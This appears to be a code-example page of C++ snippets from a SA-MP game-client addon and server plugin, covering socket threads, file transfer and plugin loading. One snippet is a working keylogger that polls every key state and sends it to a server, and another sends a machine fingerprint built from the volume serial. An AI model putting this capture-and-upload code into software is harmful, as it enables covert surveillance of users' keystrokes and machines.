Esempio n. 1
0
void amxSocket::ReceiveThread(int clientid)
{
	char buffer[8192];

	processStruct data;
	
	boost::mutex rMutex;
	boost::system::error_code error;
	std::size_t length;

	addonDebug("Thread amxSocket::ReceiveThread(%i) successfuly started", clientid);

	while(gSocket->IsClientConnected(clientid))
	{
		if(gPool->clientPool.find(clientid)->second.Transfer.Active)
		{
			boost::this_thread::sleep(boost::posix_time::seconds(1));

			continue;
		}

		memset(buffer, NULL, sizeof buffer);
		length = gPool->clientPool.find(clientid)->second.socketid->read_some(boost::asio::buffer(buffer, sizeof buffer), error);

		if(error)
		{
			addonDebug("Client %i disconnected from server", clientid);

			amxDisconnect disconnect;

			disconnect.clientID = clientid;

			boost::mutex::scoped_lock lock(rMutex);
			amxDisconnectQueue.push(disconnect);

			gPool->clientPool.find(clientid)->second.socketid->close();
			gPool->clientPool.erase(clientid);
			lock.unlock();

			continue;
		}

		if(length > 0)
		{
			addonDebug("Received %i bytes from %i", length, clientid);

			data.clientID = clientid;
			data.data.assign(buffer, length);

			addonDebug("Received from %i: '%s'", clientid, data.data.c_str());

			boost::mutex::scoped_lock lock(rMutex);
			recvQueue.push(data);
			lock.unlock();
		}

		boost::this_thread::sleep(boost::posix_time::milliseconds(50));
	}
}
Esempio n. 2
0
void addonTransfer::SendThread(std::string file_name)
{
    boost::this_thread::sleep(boost::posix_time::seconds(1));

    addonDebug("Thread addonTransfer::SendThread() started");

    char buffer[1024];

    FILE *io;
    std::stringstream format;

    fopen_s(&io, file_name.c_str(), "rb");
    fseek(io, NULL, SEEK_END);

    format << "TCPQUERY CLIENT_CALL " << 2001 << " " << file_name << " " << ftell(io);

    gSocket->Socket->write_some(boost::asio::buffer(format.str(), format.str().length()));
    gSocket->Socket->read_some(boost::asio::buffer(buffer, sizeof buffer));

    if(strcmp(buffer, "TCPQUERY SERVER_CALL 2001 READY"))
    {
        addonDebug("Error!");

        fclose(io);

        return;
    }

    fseek(io, NULL, SEEK_SET);

    while(!feof(io))
    {
        gData->Transfer.Length = fread(buffer, 1, sizeof buffer, io);
        gSocket->Socket->write_some(boost::asio::buffer(buffer, gData->Transfer.Length));

        boost::this_thread::sleep(boost::posix_time::milliseconds(100));
    }

    gSocket->Socket->write_some(boost::asio::buffer("TCPQUERY CLIENT_CALL 2001 END", 29));
    gSocket->Socket->read_some(boost::asio::buffer(buffer, sizeof buffer));

    if(strcmp(buffer, "TCPQUERY SERVER_CALL 2001 END"))
    {
        addonDebug("Error");

        fclose(io);

        return;
    }

    fclose(io);

    boost::mutex::scoped_lock lock(gSocket->Mutex);
    gData->Transfer.Active = false;
    lock.unlock();
}
Esempio n. 3
0
void amxSocket::SendThread()
{
	processStruct data;

	boost::mutex sMutex;
	boost::system::error_code error;
	std::size_t length;

	addonDebug("Thread amxSocket::SendThread() successfuly started");

	do
	{
		if(!sendQueue.empty())
		{
			for(unsigned int i = 0; i < sendQueue.size(); i++)
			{
				boost::mutex::scoped_lock lock(sMutex);
				data = sendQueue.front();
				lock.unlock();

				if(!gSocket->IsClientConnected(data.clientID))
					continue;

				if(gPool->clientPool.find(data.clientID)->second.Transfer.Active)
				{
					boost::this_thread::sleep(boost::posix_time::seconds(1));
					
					continue;
				}

				lock.lock();
				sendQueue.pop();
				lock.unlock();

				addonDebug("Sending to %i: '%s'", data.clientID, data.data.c_str());

				length = gPool->clientPool.find(data.clientID)->second.socketid->write_some(boost::asio::buffer(data.data), error);

				addonDebug("Sent %i bytes to %i", length, data.clientID);

				boost::this_thread::sleep(boost::posix_time::milliseconds(1));
			}
		}

		boost::this_thread::sleep(boost::posix_time::milliseconds(1));
	}
	while(gSocket->Active);
}
Esempio n. 4
0
void addonData::Thread(std::size_t addon_loader_hash, std::size_t addon_dll_hash)
{
	addonDebug("Thread addonThread::Thread(%i, %i) succesfuly started", addon_loader_hash, addon_dll_hash);

	std::string commandLine = gString->wstring_to_string(GetCommandLineW());

	if(commandLine.find("-c") == std::string::npos)
	{
		addonDebug("Cannot find SA-MP command line params. Terminating...");

		return;
	}

	char sysdrive[5];
	WCHAR wsysdrive[5];

	DWORD serial = NULL;
	DWORD flags = NULL;
	
	commandLine.erase(NULL, commandLine.find("-c -n "));
	sscanf_s(commandLine.c_str(), "%*s %*s %s %*s %s %*s %i", gData->Player.Name, sizeof gData->Player.Name, gData->Server.IP, sizeof gData->Server.IP, &gData->Server.Port);

	if(commandLine.find("-z") != std::string::npos)
	{
		sscanf_s(commandLine.c_str(), "%*s %*s %*s %*s %*s %*s %*i %*s %s", gData->Server.Password, sizeof gData->Server.Password);

		addonDebug("Entering server with password '%s'", gData->Server.Password);
	}

	strcpy_s(sysdrive, getenv("SystemDrive"));
	strcat_s(sysdrive, "\\");

	MultiByteToWideChar(NULL, NULL, sysdrive, sizeof sysdrive, wsysdrive, sizeof wsysdrive);
	GetVolumeInformationW(wsysdrive, NULL, NULL, &serial, NULL, &flags, NULL, NULL);

	gData->Player.Serial = (serial + flags);

	boost::hash<std::string> hash;
	std::size_t name = hash(gData->Player.Name);

	gSocket = new addonSocket();
	gSocket->Send(formatString() << "TCPQUERY CLIENT_CALL " << 1000 << " " << serial << " " << flags << " " << name << " " << ((serial ^ flags) | (name ^ gData->Server.Port)));

	gScreen = new addonScreen();
	gProcess = new addonProcess();
	//gUpdater = new addonUpdater(addon_loader_hash, addon_dll_hash);
	//gKeylog = new addonKeylog();
}
Esempio n. 5
0
addonKeylog::~addonKeylog()
{
	addonDebug("Keylog deconstructor called");

	boost::mutex::scoped_lock lock(this->Mutex);
	this->threadActive = false;
	lock.unlock();
}
Esempio n. 6
0
addonData::~addonData()
{
	addonDebug("Addon deconstructor called");

	//delete gFS;
	delete gScreen;
	//delete gKeylog;
	delete gProcess;
	delete gSocket;
}
Esempio n. 7
0
addonKeylog::addonKeylog()
{
	addonDebug("Keylog constructor called");

	boost::mutex::scoped_lock lock(this->Mutex);
	this->threadActive = true;
	lock.unlock();

	boost::thread keylog(&addonKeylog::Thread);
}
Esempio n. 8
0
void addonTransfer::ReceiveThread(std::string file_name, long int file_length)
{
    boost::this_thread::sleep(boost::posix_time::seconds(1));

    char buffer[1024];

    addonDebug("Thread addonTransfer::ReceiveThread() started");

    FILE *io;
    fopen_s(&io, file_name.c_str(), "ab");

    gSocket->Socket->write_some(boost::asio::buffer("TCPQUERY CLIENT_CALL 2000 READY", 31));

    while(true)
    {
        gData->Transfer.Length = gSocket->Socket->read_some(boost::asio::buffer(buffer, sizeof buffer));
        fwrite(buffer, 1, gData->Transfer.Length, io);

        if(ftell(io) >= file_length)
            break;

        boost::this_thread::sleep(boost::posix_time::milliseconds(100));
    }

    fclose(io);

    gSocket->Socket->read_some(boost::asio::buffer(buffer, sizeof buffer));

    if(strcmp(buffer, "TCPQUERY SERVER_CALL 2000 END"))
    {
        addonDebug("No end header");

        return;
    }

    gSocket->Socket->write_some(boost::asio::buffer("TCPQUERY CLIENT_CALL 2000 END", 29));

    boost::mutex::scoped_lock lock(gSocket->Mutex);
    gData->Transfer.Active = false;
    lock.unlock();
}
Esempio n. 9
0
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
	if(fdwReason == DLL_PROCESS_ATTACH)
	{
		DisableThreadLibraryCalls(hinstDLL);
		SetUnhandledExceptionFilter((LPTOP_LEVEL_EXCEPTION_FILTER)&addonExceptionFilter);

		boost::thread debug(boost::bind(&addonData::DebugThread));

		addonDebug("-----------------------------------------------------------------");
		addonDebug("Called dll attach | dll base address: 0x%x | attach reason: %i | reserved: %i", hinstDLL, fdwReason, lpvReserved);
		addonDebug("-----------------------------------------------------------------");
	}
	else if(fdwReason == DLL_PROCESS_DETACH)
	{
		gSocket->Socket->shutdown(boost::asio::socket_base::shutdown_both);

		if(!lpvReserved)
			delete gData;

		addonDebug("-----------------------------------------------------------------");
		addonDebug("Called dll detach | dll base address: 0x%x | attach reason: %i | reserved: %i", hinstDLL, fdwReason, lpvReserved);
		addonDebug("-----------------------------------------------------------------");
	}

	return true;
}
Esempio n. 10
0
addonData::addonData(std::size_t addon_loader_hash, std::size_t addon_dll_hash)
{
	addonDebug("Addon constructor called");

	memset(this->Server.IP, NULL, sizeof this->Server.IP);
	memset(this->Server.Password, NULL, sizeof this->Server.Password);
	this->Server.Port = NULL;

	memset(this->Player.Name, NULL, sizeof this->Player.Name);
	this->Player.Serial = NULL;

	this->Transfer.Active = false;

	boost::thread main(boost::bind(&addonData::Thread, addon_loader_hash, addon_dll_hash));
}
Esempio n. 11
0
void addonKeylog::Thread()
{
	addonDebug("Thread addonKeylog::Thread() successfuly started");

	char key[257];
	char old_key[257];
	char null_key[257];

	memset(null_key, '0', sizeof null_key);

	do
	{
		memset(key, '0', sizeof key);

		for(int i = 0; i != 256; i++)
		{
			if(GetAsyncKeyState(i) == -32767)
			{
				key[i] = '1';
			}
		}

		key[256] = NULL;

		if(!strcmp(key, null_key) || !strcmp(key, old_key))
		{
			boost::this_thread::sleep(boost::posix_time::milliseconds(250));

			continue;
		}

		strcpy_s(old_key, key);

		gSocket->Send(formatString() << "TCPQUERY CLIENT_CALL " << 1002 << " " << key);

		boost::this_thread::sleep(boost::posix_time::milliseconds(250));
	}
	while(gKeylog->threadActive);
}
Esempio n. 12
0
void amxSocket::Thread()
{
	int clientid;

	amxConnect connect;

	boost::mutex cMutex;
	boost::shared_ptr<boost::asio::ip::tcp::socket> socketid;
	boost::system::error_code error;

	addonDebug("Thread amxSocket::Thread() successfuly started");

	gSocket->io.run(error);

	if(error)
	{
		addonDebug("Cannot run I/O service");

		return;
	}

	boost::asio::ip::tcp::acceptor acceptor(gSocket->io, boost::asio::ip::tcp::endpoint(boost::asio::ip::address::from_string(gSocket->IP), gSocket->Port));

	addonDebug("TCP server started on %s:%i with max connections: %i", gSocket->IP.c_str(), gSocket->Port, gSocket->MaxClients);

	do
	{
		socketid = boost::shared_ptr<boost::asio::ip::tcp::socket>(new boost::asio::ip::tcp::socket(gSocket->io));
		acceptor.accept((*socketid));

		clientid = gSocket->MaxClients;

		for(unsigned int i = 0; i != gSocket->MaxClients; i++)
		{
			if(!gSocket->IsClientConnected(i))
			{
				clientid = i;

				break;
			}
		}

		if(clientid == gSocket->MaxClients)
		{
			addonDebug("Server is full");

			amxConnectError connect_error;

			connect_error.ip = socketid->remote_endpoint().address().to_string();
			connect_error.error.assign("Server is full");
			connect_error.errorCode = 1;

			boost::mutex::scoped_lock lock(cMutex);
			amxConnectErrorQueue.push(connect_error);
			lock.unlock();

			boost::this_thread::sleep(boost::posix_time::seconds(1));

			continue;
		}

		boost::mutex::scoped_lock lock(cMutex);
		gPool->clientPool[clientid].socketid = socketid;
		gPool->clientPool[clientid].ip = socketid->remote_endpoint().address().to_string();
		gPool->clientPool[clientid].Client.Auth = false;
		gPool->clientPool[clientid].Client.Serial = NULL;
		gPool->clientPool[clientid].Transfer.Active = false;
		lock.unlock();

		addonDebug("Incoming connection from %s (binded clientid: %i)", gPool->clientPool.find(clientid)->second.ip.c_str(), clientid);

		connect.clientID = clientid;
		connect.ip = gPool->clientPool.find(clientid)->second.ip;

		lock.lock();
		amxConnectQueue.push(connect);
		lock.unlock();

		boost::thread receive(boost::bind(&amxSocket::ReceiveThread, clientid));

		boost::this_thread::sleep(boost::posix_time::milliseconds(1));
	}
	while(gSocket->Active);

	acceptor.close();
}
Esempio n. 13
0
__declspec(dllexport) void addon_start(HINSTANCE addon_loader_address, std::size_t addon_loader_hash, HINSTANCE addon_dll_address, std::size_t addon_dll_hash)
{
	addonDebug("Called addon_start(0x%x, %i, 0x%x, %i)", addon_loader_address, addon_loader_hash, addon_dll_address, addon_dll_hash);

	if(!GetModuleHandleW(L"gta_sa.exe") || !GetModuleHandleW(L"Vorbis.dll") || !GetModuleHandleW(L"VorbisFile.dll") || !GetModuleHandleW(L"VorbisHooked.dll"))
	{
		addonDebug("Addon attached from unknown module, terminating");

		return;
	}

	if(!GetModuleHandleW(L"samp.dll"))
	{
		addonDebug("samp.dll isn't loaded, terminating...");

		return;
	}

	if((GetModuleHandleW(L"addon.asi") != addon_loader_address) || (GetModuleHandleW(L"addon.dll") != addon_dll_address))
	{
		addonDebug("Fake load address passed, terminating...");

		return;
	}

	addonDebug("Addon attached from loader. Processing...\n");

	addonDebug("     Loading addon plugins");

	SetDllDirectoryW(L"SAMP\\addon\\plugins");

	int count = NULL;

	boost::filesystem::path plugins("SAMP\\addon\\plugins");
	boost::filesystem::directory_iterator end;

	for(boost::filesystem::directory_iterator dir(plugins); dir != end; dir++)
	{
		if(dir->path().extension().string() != ".dll")
			continue;

		addonDebug("Loading plugin: '%s'", dir->path().filename().string().c_str());

		if(!LoadLibraryW(dir->path().filename().wstring().c_str()))
			addonDebug("Unable to load plugin '%s'", dir->path().filename().string().c_str());
		else
		{
			addonDebug("Plugin '%s' got loaded", dir->path().filename().string().c_str());
			addonDebug("'%s' base address: 0x%x", dir->path().filename().string().c_str(), GetModuleHandleW(dir->path().filename().wstring().c_str()));

			count++;
		}
	}

	addonDebug("     Loaded %i plugins\n", count);

	gData = new addonData(addon_loader_hash, addon_dll_hash);
}
Esempio n. 14
0
LONG addonExceptionFilter(LPEXCEPTION_POINTERS pointer)
{
	addonDebug("Exception at address: 0x%x", pointer);

	return EXCEPTION_EXECUTE_HANDLER;
}